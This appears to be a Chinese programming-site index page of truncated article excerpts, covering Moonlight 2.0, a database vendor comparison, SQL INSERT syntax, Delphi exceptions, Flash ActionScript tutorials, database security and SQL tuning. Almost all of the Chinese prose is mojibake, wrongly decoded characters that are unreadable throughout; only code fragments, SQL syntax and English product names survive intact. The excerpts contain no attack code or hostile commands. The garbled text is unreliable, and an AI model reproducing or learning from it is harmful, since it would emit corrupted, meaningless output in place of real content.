ÏÂÔØÖÐÐÄ¡¡|¡¡ÆÆ¸ªÑ§Ôº¡¡|¡¡ÍøÒ³Ä£°å
03-15

Êý¾Ý¿â¿ª·¢

  • [ Êý¾Ý¿â¿ª·¢ ] Moonlight 2.0½ôËæSilverlight¶øÀ´

    µã»÷£º0¡¡·¢²¼ÈÕÆÚ£º02/15

    Moonlight 2.0°æ±¾ÏÖÔÚ¿ÉÒÔ´ÓNovellµÄMonoÏîÄ¿ÍøÕ¾ÉÏÏÂÔØÁË£¬¿ÉÓÃÓÚFirefox²å¼þ¡£Õâ¸öÈí¼þÔÊÐíWMAÎļþºÍÄÚÈÝÔÚLinxÏÂÖ´ÐУ¬²¢Ê¹ÓÃ΢ÈíµÄ ¸»»¥ÁªÍøSilverligh¼¼Êõ¡£Ðµİ汾£¬Ô­¶¨¼¸¸öÔÂÕÃÍÆ³ö£¬Ä¿Ç°ÊÇΪÁ˹㷺¼æÈÝSilverlight 2.0¡£ µ±Ç°Î¢ÈíµÄRIA²úÆ·Îȶ¨°æ±¾ÊÇ3.0£¬µ«¹«Ë¾ÒѾ­ÔÚËûµÄרҵ¿ª·¢Õß´ó»áÉÏÍÆ³öÁË4.0²âÊÔ°æ¡£Èç¹ûMoonligh¿ª·¢ÍŶÓÄܰ´È«µÄÐÛÐÄÄ¿±ê£¬¸ù ¾Ý·Ïßͼ¼Æ»®Silverlight 3µÄLinuxʵÏÖÓ¦¸ÃÔÚ2010ÄêµÚÈý¼¾¶ÈÍÆ³ö£¬½ìʱҲ½«ÍƳöMoonlight 4 alpha°æ±¾¡£ ÓÐýÌ屨µ¼ÒýÓÃÁËNovell²úÆ·¿ª·¢¸±×ܲÃMiguel de Icaza£¬Ëû˵ÔÚMoonlight 2Öн«°üº¬Ò»Ð© Silverlight 3½éÉÜÖеŦÄÜ¡£ÀýÈ磺ģ¿é»¯Ã½Ìå¹ÜµÀ£¬OggºÍDirac±à½âÂëÆ÷£¬¸Ä½øÁËÁ÷ýÌ幦ÄÜÈÃÓû§ÔÚÊÓÆµÖÐǰ½øºóÍ˼¸ºõ¿´²»µ½ÑÓ³Ù¡£ 3DÏñËØäÖȾûÓÐʵÏÖ¡£ MoonlightµÄ¿ª·¢ÕßÓ¦ÓóÌÐòÐèҪʹÓÃMicrosoftµÄVisual Studio¿ª·¢»·¾³»òMonoDevelop£¬ËüµÄ2.2°æ±¾×òÌì¸Õ¸Õ·¢²¼¡£Mono runtime°üÀ¨ÁËMoonlight 2½«ÔÊÐí C#, Ruby, PythonºÍJavaScript¿ª·¢ÕßΪMoonlight¿ª·¢Ó¦Óᣠ×îºó»¹Ìáµ½ÁËרԼÎÊÌ⣬΢Èí³Ðŵ²»»áÆðËßÓû§ºÍ³§ÉÌʹÓÃMoonlightÖеÄ΢Èí¼¼Êõ£¬ÕâÒâζ×Ålinux·¢Ðа棬ÈçUbuntu»òFedora½«¿ÉÒÔ°üÀ¨Moonlight·¢ÐÐ..
  • [ Êý¾Ý¿â¿ª·¢ ] ËÄ´óÊý¾Ý¿âµÄ±È½Ï£¨SQL Server¡¢Oracle¡¢SybaseºÍDB2£©..

    µã»÷£º8060¡¡·¢²¼ÈÕÆÚ£º08/03

    ¡¡±¾ÆªÒýÓÃÓÚ¹«Ë¾Êý¾Ý¿â¸ßÊÖµÄÎÄÕ¡£´¿Êô¸öÈËÒâ¼û¡£ ¡¡¡¡¿ª·ÅÐÔ: ¡¡¡¡SQL Server ¡¡¡¡Ö»ÄÜÔÚwindowsÉÏÔËÐУ¬Ã»ÓÐË¿ºÁµÄ¿ª·ÅÐÔ£¬²Ù×÷ϵͳµÄϵͳµÄÎȶ¨¶ÔÊý¾Ý¿âÊÇÊ®·ÖÖØÒªµÄ¡£Windows9XϵÁвúÆ·ÊÇÆ«ÖØÓÚ×ÀÃæÓ¦Óã¬NT serverÖ»ÊʺÏÖÐСÐÍÆóÒµ¡£¶øÇÒwindowsƽ̨µÄ¿É¿¿ÐÔ£¬°²È«ÐÔºÍÉìËõÐÔÊǷdz£ÓÐÏ޵ġ£Ëü²»ÏóunixÄÇÑù¾Ã¾­¿¼Ñ飬ÓÈÆäÊÇÔÚ´¦Àí´óÊý¾Ý¡¡¡¡Oracle ¡¡¡¡ÄÜÔÚËùÓÐÖ÷Á÷ƽ̨ÉÏÔËÐУ¨°üÀ¨ windows£©¡£Íêȫ֧³ÖËùÓеĹ¤Òµ±ê×¼¡£²ÉÓÃÍêÈ«¿ª·Å²ßÂÔ¡£¿ÉÒÔʹ¿Í»§Ñ¡Ôñ×îÊʺϵĽâ¾ö·½°¸¡£¶Ô¿ª·¢ÉÌÈ«Á¦Ö§³Ö¡£ ¡¡¡¡Sybase ASE ¡¡¡¡ÄÜÔÚËùÓÐÖ÷Á÷ƽ̨ÉÏÔËÐУ¨°üÀ¨ windows£©¡£ µ«ÓÉÓÚÔçÆÚSybaseÓëOS¼¯³É¶È²»¸ß£¬Òò´ËVERSION 11.9.2ÒÔϰ汾ÐèÒª½Ï¶àOSºÍ DB¼¶²¹¶¡¡£ÔÚ¶àÆ½Ì¨µÄ»ìºÏ»·¾³ÖУ¬»áÓÐÒ»¶¨ÎÊÌâ¡£¡¡¡¡DB2 ¡¡¡¡ÄÜÔÚËùÓÐÖ÷Á÷ƽ̨ÉÏÔËÐУ¨°üÀ¨windows£©¡£×îÊÊÓÚº£Á¿Êý¾Ý¡£DB2ÔÚÆóÒµ¼¶µÄÓ¦ÓÃ×îΪ¹ã·º£¬ÔÚÈ«ÇòµÄ500¼Ò×î´óµÄÆóÒµÖÐ,¼¸ºõ85%ÒÔÉÏÓÃDB2Êý¾Ý¿â·þÎñÆ÷£¬¶ø¹úÄÚµ½97ÄêÔ¼Õ¼5%¡£¡¡¡¡¿ÉÉìËõÐÔ£¬²¢ÐÐÐÔ ¡¡¡¡SQL server ¡¡¡¡²¢ÐÐʵʩºÍ¹²´æÄ£ÐͲ¢²»³ÉÊì¡£ºÜÄÑ´¦ÀíÈÕÒæÔö¶àµÄÓû§ÊýºÍÊý¾Ý¾í¡£ÉìËõÐÔÓÐÏÞ¡£ ¡¡¡¡Oracle ¡¡¡¡²¢ÐзþÎñÆ÷ͨ¹ýʹһ×é½áµã¹²Ïíͬһ´ØÖеŤ×÷À´À©Õ¹windowntµÄ..
  • [ Êý¾Ý¿â¿ª·¢ ] SQLºËÐÄÓï¾ä(·Ç³£ÊµÓõö¼¼ÇÉ)

    µã»÷£º6443¡¡·¢²¼ÈÕÆÚ£º08/03

    _ArticleContent1_lblContent>²åÈëÊý¾Ý Ïò±íÖÐÌí¼ÓÒ»¸öмǼ£¬ÄãҪʹÓÃSQL INSERT Óï¾ä¡£ÕâÀïÓÐÒ»¸öÈçºÎʹÓÃÕâÖÖÓï¾äµÄÀý×Ó£º INSERT mytable (mycolumn) VALUES (¡®some data¡¯) Õâ¸öÓï¾ä°Ñ×Ö·û´®¡¯some data¡¯²åÈë±ímytableµÄmycolumn×Ö¶ÎÖС£½«Òª±»²åÈëÊý¾ÝµÄ×ֶεÄÃû×ÖÔÚµÚÒ»¸öÀ¨ºÅÖÐÖ¸¶¨£¬Êµ¼ÊµÄÊý¾ÝÔÚµÚ¶þ¸öÀ¨ºÅÖиø³ö¡£ INSERT Óï¾äµÄÍêÕû¾ä·¨ÈçÏ£º INSERT [INTO] {table_name|view_name} [(column_list)] {DEFAULT VALUES | Values_list | select_statement} Èç¹ûÒ»¸ö±íÓжà¸ö×ֶΣ¬Í¨¹ý°Ñ×Ö¶ÎÃûºÍ×Ö¶ÎÖµÓöººÅ¸ô¿ª£¬Äã¿ÉÒÔÏòËùÓеÄ×Ö¶ÎÖвåÈëÊý¾Ý¡£¼ÙÉè±ímytableÓÐÈý¸ö×Ö¶Îfirst_column,second_column,ºÍthird_column¡£ÏÂÃæµÄINSERTÓï¾äÌí¼ÓÁËÒ»ÌõÈý¸ö×ֶζ¼ÓÐÖµµÄÍêÕû¼Ç¼£º INSERT mytable (first_column,second_column,third_column) VALUES (¡®some data¡¯,¡¯some more data¡¯,¡¯yet more data¡¯) ×¢Òâ Äã¿ÉÒÔʹÓÃINSERTÓï¾äÏòÎı¾ÐÍ×Ö¶ÎÖвåÈëÊý¾Ý¡£µ«ÊÇ£¬Èç¹ûÄãÐèÒªÊäÈëºÜ³¤µÄ×Ö·û´®£¬ÄãÓ¦¸ÃʹÓÃWRITETEXTÓï¾ä¡£Õⲿ·ÖÄÚÈݶԱ¾ÊéÀ´ËµÌ«¸ß¼¶ÁË£¬Òò´Ë²»¼ÓÌÖÂÛ¡£ÒªÁ˽â¸ü¶àµÄÐÅÏ¢£¬Çë²Î¿¼Microsoft SQL Sever µÄÎĵµ¡£ Èç¹ûÄãÔÚINSERT Óï¾äÖÐÖ»Ö¸¶¨Á½¸ö×ֶκÍ..
  • [ ] Êýѧ±í´ïʽµÄ¼ÆË㡪¡ªÈçºÎ²¶×½Òì³£

    µã»÷£º733¡¡·¢²¼ÈÕÆÚ£º12/16

    ÔÚд³ÌÐòµÄ¹ý³ÌÖУ¬ÄÑÃâ»á³öÏÖ¸÷ÖÖ¸÷ÑùµÄÇé¿ö£¬ÓеÄÇé¿öÒ²Ðí²»ÊÇÎÒÃÇÏëÒªµÄ¡£ÓеÄÈËÒ²Ðí»áÓúܶàÅжÏÒªÑϸñ¿ØÖƳÌÐò£¬Ê¹Æä²»»á³öÏÖÒì³£Çé¿ö£¬µ«ÕâÑù×ö¿ÉÄÜ»áÔö¼Óд³ÌÐòµÄÄѶȡ£ÆäʵÎÒÃÇ»¹¿ÉÒÔÓÃÒ»ÖÖ¸ü¼Ó¼ò±ãµÄ·½·¨£¬ÄǾÍÊÇÒì³£¡£ÔÚ³ÌÐòÖкÏÀíµÄʹÓÃÒì³£½«Ê¹ÄãÔÚд³ÌÐòÖÐʡȥºÜ¶à·³ÄÕ¡£ÔÚDelphiÖУ¬Borland ÒѾ­ÎªÎÒÃǶ¨ÒåÁ˺ܶàÒì³£µÄÀ࣬ÎÒÃÇ¿ÉÒÔÖ±½ÓʹÓᣵ«ÊÇÈç¹ûÎÒÃDz»È¥¹ÜÒì³£µÄ»°£¬»áʹ³ÌÐòµÄµÄ½çÃæÂÒÆß°ËÔ㣬ÏÂÃæ¾Í½éÉÜÁ½ÖÖ³£ÓõÄÒì³£²¶×½·½·¨¡£         ¹ØÓÚ¼ÆËãÊýѧ±í´ïʽ£¬²»Í¬µÄÈËÓÐ×Ô¼º²»Í¬µÄ×ö·¨¡£ÓеÄÓýâÎö±í´ïʽµÄ·½·¨£¬ÄÇÖÖ·½·¨ÐèÒªÓбàÒëµÄ֪ʶ£¬ÏÂÃæÓõķ½·¨ºÜ¼òµ¥£¬Ã»Óм¸¸ö´úÂë±ã¿ÉÒÔ½øÐи´ÔÓµÄÔËËã¡£Èç¹û±í´ïʽÖÐÓдíÎ󣬻¹¿ÉÒÔµ¯³ö¶Ô»°¿òÌáʾ£¬Ö¸³öÏàÓ¦µÄ´íÎó¡£±¾³ÌÐòËùÓõľÍÊDZê×¼µÄSQLÓï¾ä£¬Ö§³ÖºÜ¶àÔËË㣬»ù±¾ÔËËãÈ磺¼Ó¡¢¼õ¡¢³Ë¡¢³ý¡¢Õû³ý£»Âß¼­ÔËËãÈ磺AND¡¢OR¡¢XOR¡¢NOT£»ÊýѧÔËËãÈ磺COS¡¢SINµÈ¡£ÁíÍ⻹ÓÐ×Ö·û´®ÔËË㣬²»¹ýÄÇûʲôÒâÒ壬ÈçÄãÊäÈë¡°Left('Abcd',2)¡±£¬Ëü¾Í»á¼ÆËã³ö¡°=Ab¡±¡£ÓÉÓÚ±¾³ÌÐò±¾ÕÕ×ÅÉÏÃæËùÊöµÄ×ÚÖ¼£¬Ã»¶ÔÕâЩ×öÌ«¶àµÄÏÞÖ¹£¬ÓÐÐËȤµÄÅóÓÑ¿ÉÒÔÊÂÏÈÏȼì²é±í´ïʽµÄÓï·¨£¬È»ºóÔÙ½»¸ø±¾..
  • [ ] µ¼ÈëµçÓ°µÄ¿ØÖÆ

    µã»÷£º581¡¡·¢²¼ÈÕÆÚ£º12/16

    1£¬½ûÖ¹µ¼ÈëµçÓ°£¬Ð´ÔÚµÚÒ»èåÉÏ_root._name   =   "nn";this.onEnterFrame   =   function()   {   if   (this._name   !=   "nn"   ||   _root.getDepth()   !=   -16384)   {      this.unloadMovie();   }};2£¬Ö»Äܵ¼È룬²»ÄÜÖ±½Ó²¥·Å_root.onLoad   =   function()   {   if   (this._level   ==   _level0   ||   _parent   ==   undefined)   {      loadMovieNum("",   0);   }};3£¬µ¼ÈëÍê±Ï£¬¿ØÖƵçÓ°ÊôÐÔ£¬Éèµ¼ÈëµçÓ°¼ô¼­mcÖÐ_root.onEnterframe=function(){if(mc._width!=0){ËùÉèÊôÐÔ}}4£¬Ê¹µ¼ÈëµÄͼƬÔÚÒ»¶¨´óСonClipEvent &n..
  • [ ] µçÓ°¼ô¼­ÊôÐÔÏê½â

    µã»÷£º698¡¡·¢²¼ÈÕÆÚ£º12/16

    ÕâÊÇÀ´×Ô±±¾©Ï£Íûµç×Ó³ö°æÉçµÄ¡¶FLASHMX¡¡ActionScript±ê×¼½Ì³Ì¡· ÔÚMacromedia   Flash   MX   ¶¯×÷Ãæ°åÖпª±ÙÁËÒ»¸öרÃŵÄProperties(ÊôÐÔ)·ÖÀàÀ´·½±ãÓû§µ÷ÓÃÊôÐÔ¡£ÕâЩÊôÐÔ¿ÉÒÔÓ¦ÓÃÓÚʱ¼äÖá¡¢µçÓ°¼ô¼­ºÍ°´Å¥¶ÔÏó£¬Èçͼ£º_alpha      µçÓ°¼ô¼­ÊµÀýµÄ͸Ã÷¶ÈÖµ¡£Í¸Ã÷¶ÈÖµµÄȡֵ·¶Î§Îª0~100¡£0±íʾÍêȫ͸Ã÷£¬100±íʾÍêÈ«²»Í¸Ã÷¡£ÔÚÎę̀ÉÏ¿ÉÒÔͨ¹ýÊôÐÔ¼ì²éÆ÷ÉèÖöÔÏóµÄ͸Ã÷¶ÈÊôÐÔ£¬Èçͼ£ºÌáʾ£ºÍ¸Ã÷¶ÈΪ0µÄ¶ÔÏóËäÈ»²»¿É¼û£¬µ«ÊÇËüÈÔÈ»´¦ÓÚ¼¤»î״̬¡£°´Å¥±»µ¥»÷ÒÀÈ»»áÓÐÏìÓ¦¡£_currentrfame   ²¥·Å´ÅÍ·µ±Ç°Î»ÖõÄÖ¡±àºÅ¡£Ê±¼äÖáÖеÄÖ¡±àºÅÒÔ5Ϊµ¥Î»µÝ½ø¡£   _droptarget      Ê¹ÓÃб¸ÜÓï·¨±íʾµÄµçÓ°¼ô¼­ÊµÀýµÄ¾ø¶Ô·¾¶¡£¸ÃµçÓ°¼ô¼­ÊµÀý½«×÷Ϊ¿ÉÍ϶¯µçÓ°¼ô¼­µÄÄ¿±êͶ·ÅλÖá£_focusrect         Ö¸Ê¾¾ßÓн¹µãµÄµçÓ°¼ô¼­ÊÇ·ñÓлÆÉ«¾ØÐλ·ÈÆ£¬¸ÃÊôÐÔĬÈÏֵΪtrue¡£_framesloaded      ´ÓÁ÷ʽµçÓ°ÖÐÔØÈëµÄÖ¡Êý¡£_height     &nbs..
  • [ ] °´Å¥µÄÖÆ×÷

    µã»÷£º704¡¡·¢²¼ÈÕÆÚ£º12/16

    ½ñÌìÎÒÃÇÀ´×öÒ»¸ö°´Å¥£¬Õâ¸ö°´Å¥ÊÇÉÁ°ÉÔ­ÎļþÀïÌṩµÄ£¬ÒòΪÓкܶàµÄÅóÓÑ»¹ÊDz»Ì«ÊìϤ°´Å¥µÄÖÆ×÷£¬ËùÒÔÌØ±ðдÁËÕâ¸ö½Ì³Ì¡£Ê×ÏÈ´Ó×î¼òµ¥µÄ£¬°´Å¥ÖÆ×÷¿ªÊ¼½²½â¡£ÏÈÀ´×öÒ»¸ö¼òµ¥µÄ°´Å¥£¬°´Å¥ÊÇ·ÖËÄÖÖ״̬µÄ£¬·Ö±ðÊÇ£ºup,over,down,hit.ÓÃÖÐÎÄÀ´½âÊÍ£¬¾ÍÊÇԭʼ״̬£¬¾­¹ýʱµÄ״̬£¬°´ÏÂÈ¥µÄ״̬£¬µã»÷״̬¡£Ò»°ã×îºóÒ»¸ö״̬¾­³£ÔÚ×öÒþÐΰ´Å¥Ê±Óõ½¡£1.н¨Ò»¸öÎĵµ£¬´óСΪ140*21,Ñ¡Ôñ²åÈëÒ»¸öзûºÅ£¬ÀàÐÍÑ¡Ôñ°´Å¥¡£µãÈ·¶¨£¬ÕâÑùÎÒÃǾͽøÈëÁ˰´Å¥µÄ±à¼­×´Ì¬£¬ÕâʱºòÎÒÃÇ¿ÉÒÔ¿´µ½°´Å¥µÄËĸö״̬£¬Í¬Ê±Ö»ÓÐԭʼ״̬ÉÏÓÐÒ»¸ö°×É«µÄԲȦ£¬Õâ±íʾÎÒÃÇ¿ÉÒÔÔÚÀïÃæ·ÅÈëͼÐΣ¬Ñ¡Ôñ¾ØÐΣ¬ÎÒÃÇÔÚÎę̀ÉÏÍϳöÒ»¸ö¾ØÐΣ¬µ±È»Äã¿ÉÒÔ·ÅÖÃÈκÎÄãÏëÒªµÄͼÐΣ¬µ¼Èëµ½¿âÖеľ­¹ý´¦ÀíµÄͼÏóÒ²¿ÉÒÔ¡£¡£ÎÒÃÇ¿ÉÒÔ·Ö±ðÑ¡Öа´Å¥µÄÁíÍâÈý¸ö״̬£¬°´ÓÒ¼ü²åÈë¿Õ°×¹Ø¼üÖ¡£¬·Ö±ð·ÅÈëÎÒÃÇÏëÒªµÄͼÐΡ£3¡£ÔÚÕâÀïÎÒÔÚ¾­¹ý״̬·ÅÈëµÄÊÇÒ»¸öµçÓ°¼ô¼­£¬ºóÃæÎÒÃǽ«×öÕâ¸öµçÓ°¼ô¼­£¬ÏÖÔÚÏÈ¿´Ò»ÏÂЧ¹û¡£4¡£°ÑÎÒÃǸղÅ×öºÃµÄ°´Å¥ÍÏÈëÖ÷³¡¾°£¬°´ctrl+enter²âÊÔЧ¹û¡£[È«ÆÁÐÀÉÍ]Õâ¸ö°´Å¥µÄЧ¹ûÊǵ±Êó±ê¾­¹ýµÄʱºò,»áÓÐÒ»¸öºÚÉ«µÄ½¥±ä»®¹ý. ÏÖÔÚÎÒÃÇ×öÕâ¸öºÚÉ«½¥±äµÄЧ¹û¡£1¡£Ð½¨Ò»¸ö·ûºÅ£¬ÀàÐÍÑ¡ÔñͼÐΣ¬Ãû×ÖΪ¾ØÐΣ¬°´È·¶¨..
  • [ ] FLASH2004ʱ¼äÖáÌØÐ§µÄÓ¦ÓÃ

    µã»÷£º655¡¡·¢²¼ÈÕÆÚ£º12/16

    ʱ¼äÖáÌØÐ§¿ÉÒÔÓ¦ÓÃÓÚÒÔϵĶÔÏó£ºÎı¾¡¢Í¼ÐΡ¢Î»Í¼¡¢°´Å¥Í¼·û£¬¸øÒ»¸ö°´Å¥Ìí¼Óʱ¼äÖáÌØÐ§Ê±£¬FLASA»áн¨Ò»¸ö²ã£¬È»ºó°Ñ¸Ã¶ÔÏó´«Ë͵½Ð½¨µÄ²ã¡£Ìí¼Óʱ¼äÖáÌØÐ§Ê±£¬ÔÚͼ·û¿âÖлáÌí¼ÓÒ»¸öÒÔÌØÐ§ÃûÃüÃûµÄÎļþ¼Ð£¬ÄÚº¬¸ÃÌØÐ§ËùÓõÄÔªËØ¡££¨¶ÔµçÓ°¼ô¼­Ó¦ÓÃʱ¼äÖáÌØÐ§Ê±£¬FLASHÔÚµçÓ°¼ô¼­ÄÚ²¿Ç¶Ì×ÌØÐ§£© µã»÷ä¯ÀÀ¸ÃÎļþ1¡¢¿´¿´ÈçºÎÓ¦Óðɣ¬±¾ÎÄÒÔÒ»¸öÎı¾ÎªÀý£¬ÏÈÔÚ³¡¾°Öд´½¨Ò»¸öÎı¾¡°ÉÁ°É½Ì²ÄÇø¡±£¬²¢½«Ëüת»¯³ÉӰƬ¼ô¼­£¨°´F8£©¡£2¡¢È»ºóÑ¡Ôñ²åÈ롪¡ªÊ±¼äÖáÌØÐ§¡ª¡ªÐ§¹û¡ª¡ª·ÖÀ룬Èçͼ£º3¡¢ÔÚÏÔʾµÄÌØÐ§ÉèÖÃÖпÉÔ¤ÀÀĬÈÏÉèÖõÄÔ¤ÀÀ£¬Èç¹û²»ÂúÒâ¿ÉÒÔ×Ô¼ºÉèÖòÎÊý£¬È»ºóÑ¡Ôñ¸üÐÂÔ¤ÀÀ¹Û¿´¸ü¸ÄºóµÄЧ¹û¡£Èçͼ£º·ÖÀëÌØÐ§µÄ»ù±¾²ÎÊý£ºÐ§¹û³ÖѧµÄʱ¼ä£ºÑ¡ÔñЧ¹û³ÖÐøµÄÖ¡Êý·ÖÀë·½Ïò£ºµã·½Ïò°´Å¥£¬¿ÉÉèÖ÷ÖÀëÌØÐ§µÄÔ˶¯µÄ·½Ïò»¡Ïß´óС£ºÉèÖÃx·½ÏòºÍy·½ÏòµÄÆ«ÒÆÁ¿¡£Ë鯬ÐýתÁ¿£ºÉèÖÃË鯬µÄÐýת·½ÏòË鯬´óС¸ü¸ÄÁ¿£º¸Ä±äË鯬µÄ´óС×îÖÕµÄAlpha:ÉèÖÃ×îÖÕµÄ͸Ã÷¶È°Ù·ÖÊý4¡¢Èç¹û¸Ð¾õÂúÒâµ¥»÷È·¶¨°´Å¥¡£FLASH½«ÔÚʱ¼äÖá×Ô¶¯Ìí¼Ó´´½¨ÌØÐ§ËùÐèµÄÖ¡£¬Èç¹ûÄã¶ÔÌí¼ÓµÄ²»ÂúÒ⣬ÔÚÑ¡¶¨µÄ¶ÔÏóÉÏÓÒ»÷£¬ÔÚ¿ì½Ý²Ëµ¥ÖÐÑ¡Ôñʱ¼äÖáÌØÐ§¡ª¡ª±à¼­ÌØÐ§£¬»òÔÚÐ޸IJ˵¥ÏÂÐ޸ġ£Èçͼ£ºÆäËüµÄʱ¼äÖáÌØÐ§µÄÓ÷¨ºÍÕâ¸ö..
  • [ Êý¾Ý¿â¿ª·¢ ] Êý¾Ý¿âϵͳ·ÀºÚ¿ÍÈëÇÖ¼¼Êõ×ÛÊö

    µã»÷£º1111¡¡·¢²¼ÈÕÆÚ£º01/27

    ¡¡¡¡1. ǰÑÔ ¡¡¡¡Ëæ×żÆËã»ú¼¼ÊõµÄ·ÉËÙ·¢Õ¹£¬Êý¾Ý¿âµÄÓ¦ÓÃÊ®·Ö¹ã·º£¬ÉîÈëµ½¸÷¸öÁìÓò£¬µ«ËæÖ®¶øÀ´²úÉúÁËÊý¾ÝµÄ°²È«ÎÊÌâ¡£¸÷ÖÖÓ¦ÓÃϵͳµÄÊý¾Ý¿âÖдóÁ¿Êý¾ÝµÄ°²È«ÎÊÌâ¡¢Ãô¸ÐÊý¾ÝµÄ·ÀÇÔÈ¡ºÍ·À´Û¸ÄÎÊÌ⣬ԽÀ´Ô½ÒýÆðÈËÃǵĸ߶ÈÖØÊÓ¡£Êý¾Ý¿âϵͳ×÷ΪÐÅÏ¢µÄ¾Û¼¯Ì壬ÊǼÆËã»úÐÅϢϵͳµÄºËÐIJ¿¼þ£¬Æä°²È«ÐÔÖÁ¹ØÖØÒª£¬¹ØÏµµ½ÆóÒµÐËË¥¡¢¹ú¼Ò°²È«¡£Òò´Ë£¬ÈçºÎÓÐЧµØ±£Ö¤Êý¾Ý¿âϵͳµÄ°²È«£¬ÊµÏÖÊý¾ÝµÄ±£ÃÜÐÔ¡¢ÍêÕûÐÔºÍÓÐЧÐÔ£¬ÒѾ­³ÉΪҵ½çÈËʿ̽Ë÷Ñо¿µÄÖØÒª¿ÎÌâÖ®Ò»£¬±¾ÎľͰ²È«·ÀÈëÇÖ¼¼Êõ×ö¼òÒªµÄÌÖÂÛ¡£ ¡¡¡¡Êý¾Ý¿âϵͳµÄ°²È«³ýÒÀÀµ×ÔÉíÄÚ²¿µÄ°²È«»úÖÆÍ⣬»¹ÓëÍâ²¿ÍøÂç»·¾³¡¢Ó¦Óû·¾³¡¢´ÓÒµÈËÔ±ËØÖʵÈÒòËØÏ¢Ï¢Ïà¹Ø£¬Òò´Ë£¬´Ó¹ãÒåÉϽ²£¬Êý¾Ý¿âϵͳµÄ°²È«¿ò¼Ü¿ÉÒÔ»®·ÖΪÈý¸ö²ã´Î£º ¡¡¡¡¢Å ÍøÂçϵͳ²ã´Î£» ¡¡¡¡¢Æ ËÞÖ÷²Ù×÷ϵͳ²ã´Î£» ¡¡¡¡¢Ç Êý¾Ý¿â¹ÜÀíϵͳ²ã´Î¡£ ¡¡¡¡ÕâÈý¸ö²ã´Î¹¹Öþ³ÉÊý¾Ý¿âϵͳµÄ°²È«Ìåϵ£¬ÓëÊý¾Ý°²È«µÄ¹ØÏµÊÇÖð²½½ôÃܵ쬷À·¶µÄÖØÒªÐÔÒ²Öð²ã¼ÓÇ¿£¬´ÓÍâµ½ÄÚ¡¢ÓÉ±í¼°Àï±£Ö¤Êý¾ÝµÄ°²È«¡£ÏÂÃæ¾Í°²È«¿ò¼ÜµÄÈý¸ö²ã´ÎÕ¹¿ªÂÛÊö¡£ ¡¡¡¡2. ÍøÂçϵͳ²ã´Î°²È«¼¼Êõ ¡¡¡¡´Ó¹ãÒåÉϽ²£¬Êý¾Ý¿âµÄ°²È«Ê×ÏÈÒÐÀµÓÚÍøÂçϵͳ¡£Ëæ×ÅInternetµÄ·¢Õ¹ÆÕ¼°£¬Ô½À´Ô½¶àµÄ¹«Ë¾½«ÆäºËÐÄÒµ..
  • [ Êý¾Ý¿â¿ª·¢ ] SQLÓï¾äÐÔÄܵ÷ÕûÔ­Ôò

    µã»÷£º3056¡¡·¢²¼ÈÕÆÚ£º11/03

    Ò»¡¢ÎÊÌâµÄÌá³öÔÚÓ¦ÓÃϵͳ¿ª·¢³õÆÚ£¬ÓÉÓÚ¿ª·¢Êý¾Ý¿âÊý¾Ý±È½ÏÉÙ£¬¶ÔÓÚ²éѯSQLÓï¾ä£¬¸´ÔÓÊÓͼµÄµÄ±àдµÈÌå»á²»³öSQLÓï¾ä¸÷ÖÖд·¨µÄÐÔÄÜÓÅÁÓ£¬µ«ÊÇÈç¹û½«Ó¦ÓÃϵͳÌύʵ¼ÊÓ¦Óúó£¬Ëæ×ÅÊý¾Ý¿âÖÐÊý¾ÝµÄÔö¼Ó£¬ÏµÍ³µÄÏìÓ¦ËٶȾͳÉΪĿǰϵͳÐèÒª½â¾öµÄ×îÖ÷ÒªµÄÎÊÌâÖ®Ò»¡£ÏµÍ³ÓÅ»¯ÖÐÒ»¸öºÜÖØÒªµÄ·½Ãæ¾ÍÊÇSQLÓï¾äµÄÓÅ»¯¡£¶ÔÓÚº£Á¿Êý¾Ý£¬ÁÓÖÊSQLÓï¾äºÍÓÅÖÊSQLÓï¾äÖ®¼äµÄËٶȲî±ð¿ÉÒÔ´ïµ½Éϰٱ¶£¬¿É¼û¶ÔÓÚÒ»¸öϵͳ²»ÊǼòµ¥µØÄÜʵÏ֯书ÄܾͿɣ¬¶øÊÇҪд³ö¸ßÖÊÁ¿µÄSQLÓï¾ä£¬Ìá¸ßϵͳµÄ¿ÉÓÃÐÔ¡£ÔÚ¶àÊýÇé¿öÏ£¬OracleʹÓÃË÷ÒýÀ´¸ü¿ìµØ±éÀú±í£¬ÓÅ»¯Æ÷Ö÷Òª¸ù¾Ý¶¨ÒåµÄË÷ÒýÀ´Ìá¸ßÐÔÄÜ¡£µ«ÊÇ£¬Èç¹ûÔÚSQLÓï¾äµÄwhere×Ó¾äÖÐдµÄSQL´úÂë²»ºÏÀí£¬¾Í»áÔì³ÉÓÅ»¯Æ÷ɾȥË÷Òý¶øÊ¹ÓÃÈ«±íɨÃ裬һ°ã¾ÍÕâÖÖSQLÓï¾ä¾ÍÊÇËùνµÄÁÓÖÊSQLÓï¾ä¡£ÔÚ±àдSQLÓï¾äʱÎÒÃÇÓ¦Çå³þÓÅ»¯Æ÷¸ù¾ÝºÎÖÖÔ­ÔòÀ´É¾³ýË÷Òý£¬ÕâÓÐÖúÓÚд³ö¸ßÐÔÄܵÄSQLÓï¾ä¡£¶þ¡¢SQLÓï¾ä±àдעÒâÎÊÌâÏÂÃæ¾ÍijЩSQLÓï¾äµÄwhere×Ó¾ä±àдÖÐÐèҪעÒâµÄÎÊÌâ×÷Ïêϸ½éÉÜ¡£ÔÚÕâЩwhere×Ó¾äÖУ¬¼´Ê¹Ä³Ð©ÁдæÔÚË÷Òý£¬µ«ÊÇÓÉÓÚ±àдÁËÁÓÖʵÄSQL£¬ÏµÍ³ÔÚÔËÐиÃSQLÓï¾äʱҲ²»ÄÜʹÓøÃË÷Òý£¬¶øÍ¬ÑùʹÓÃÈ«±íɨÃ裬Õâ¾ÍÔì³ÉÁËÏìÓ¦Ëٶȵļ«´ó½µµÍ¡£1. IS NULL Óë IS NOT NULL..
  • [ Êý¾Ý¿â¿ª·¢ ] Êý¾Ý¿âµÄÊý¾ÝÍÚ¾ò¸ÅÊö£¨Ò»£©

    µã»÷£º3937¡¡·¢²¼ÈÕÆÚ£º11/03

